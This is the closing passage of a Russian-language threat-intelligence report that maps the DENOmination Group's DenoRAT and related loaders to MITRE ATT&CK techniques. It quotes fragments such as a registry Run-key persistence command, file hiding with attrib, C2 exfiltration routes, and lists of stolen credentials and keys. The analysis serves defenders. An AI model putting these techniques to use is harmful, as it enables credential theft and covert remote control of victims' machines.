DENOmination Group используют закодированное и защищенное содержимое. В MSI-ветке вредоносный файл помещен в защищенный паролем ZIP-архив, а содержимое JavaScript-компонента хранится внутри PowerShell-скрипта в Base64-кодированном виде.

T1027.009

Obfuscated Files or Information: Embedded Payloads

DENOmination Group встраивают компоненты следующего этапа в другие файлы. Например, DeltaScan извлекает MSI из ресурса .NET-сборки вызовом GetManifestResourceStream("Embedded.msi")

T1140

Deobfuscate, Decode Files or Information

DENOmination Group декодируют встроенное содержимое непосредственно во время выполнения. Например, Juliet_widget15.ps1 использует [Convert]::FromBase64String(...), после чего записывает декодированный JavaScript-код как %APPDATA%\Uniform_system17.js

T1105

Ingress Tool Transfer

DENOmination Group загружают дополнительные компоненты с C2-сервера: LNK получает /<BuildID>.ps1, DinDoor — основной агент через /event или /network, а DenoRAT — модули через /agent-modules/<n>.ts

T1071.001

Application Layer Protocol: Web Protocols

DENOmination Group используют HTTP и WebSocket для связи с C2-сервером. В исследованных компонентах встречаются маршруты /health, /event, /service, /network, /group, /agent-exec-logs и /browser-data

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys, Startup Folder

DENOmination Group закрепляют загрузчик LNK-ветки через HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Значение <usernameHash> запускает conhost.exe --headless "<DenoPath>" -A "%APPDATA%\<usernameHash>.js"

T1564.001

Hide Artifacts: Hidden Files and Directories

DENOmination Group скрывают локальные компоненты на диске. Загрузчик вызывает attrib.exe +h для своей JavaScript-копии и дополнительно создает файл в %LOCALAPPDATA%\Microsoft\<usernameHash>.js

T1082

System Information Discovery

DENOmination Group собирают сведения о зараженной системе, включая имя компьютера, версию и сборку Windows, CPU, GPU, объем оперативной памяти и контекст привилегий

T1033

System Owner/User Discovery

DENOmination Group получают имя текущего пользователя. Загрузчик использует Deno.env.get("USERNAME") или Deno.env.get("USER"); эти данные также участвуют в формировании идентификаторов зараженного узла

T1012

Query Registry

DENOmination Group читают системный реестр Windows для получения MachineGuid. Значение извлекается из HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid через Deno FFI и функции RegOpenKeyExW и RegQueryValueExW

T1106

Native API

DENOmination Group используют Deno FFI для прямого обращения к Windows API. В исследованных компонентах загружаются функции из advapi32.dll, user32.dll, gdi32.dll, shcore.dll и wtsapi32.dll

T1057

Process Discovery

DENOmination Group получают список запущенных процессов. DenoRAT выполняет tasklist и анализирует полученный список для определения работающих браузеров и защитных решений

T1518.001

Software Discovery: Security Software Discovery

DENOmination Group обнаруживают работающие средства защиты. DenoRAT сопоставляет процессы с внутренней таблицей, включающей Microsoft Defender, MDE, Kaspersky, ESET, CrowdStrike, SentinelOne, Sophos, Dr.Web и другие AV- и EDR-продукты

T1113

Screen Capture

DENOmination Group получают снимки рабочего стола зараженной системы. DenoRAT использует Windows API через Deno FFI и библиотеки user32, gdi32 и shcore, после чего передает сформированный JPEG на C2-сервер

T1053.005

Scheduled Task/Job: Scheduled Task

DENOmination Group временно создают запланированную задачу для захвата экрана пользовательской сессии при работе агента в контексте SYSTEM. Используются задачи с именами вида OnyxScreenshot_<timestamp_uuid>

T1083

File and Directory Discovery

DENOmination Group исследуют файловую систему зараженного узла. DenoRAT предоставляет команды fs-list-drives и fs-list-dir, а также автоматически перебирает каталоги пользовательских и браузерных профилей

T1005

Data from Local System

DENOmination Group собирают данные из локальной системы, включая браузерные данные, SSH-ключи, базы KeePass, сертификаты, закрытые ключи, VPN-конфигурации, RDP-файлы и данные криптовалютных кошельков

T1555.003

Credentials from Password Stores: Credentials from Web Browsers

DENOmination Group извлекают сохраненные браузерами учетные данные. В m.js MSI-ветки реализован сбор сохраненных логинов и паролей из Chromium-совместимых браузеров

T1539

Steal Web Session Cookie

DENOmination Group собирают файлы cookie браузеров, которые могут содержать действующие данные пользовательских веб-сессий. Эта функциональность подтверждена в m.js MSI-ветки

T1555.005

Credentials from Password Stores: Password Managers

DENOmination Group собирают данные менеджеров паролей. m.js обрабатывает данные расширений Bitwarden, 1Password, LastPass, KeePassXC, Dashlane, NordPass, Keeper и других решений

T1552.004

Unsecured Credentials: Private Keys

DENOmination Group выполняют поиск закрытых ключей и сертификатов. Среди целевых файлов присутствуют id_rsa, id_ed25519, .pem, .ppk, .p12 и .pfx

T1041

Exfiltration Over C2 Channel

DENOmination Group передают собранные данные через инфраструктуру управления. Например, браузерные данные отправляются на POST /browser-data?filename=..., а результаты выполнения заданий возвращаются через C2-канал

T1572

Protocol Tunneling

DENOmination Group используют зараженный узел для перенаправления сетевого трафика. DenoRAT получает через WebSocket адрес и порт назначения, создает соединение Deno.connect({hostname, port, transport:"tcp"}) и ретранслирует TCP-трафик.

Денис Казаков

Специалист группы киберразведки TI-департамента экспертного центра безопасности, Positive Technologies

Комментарии (0)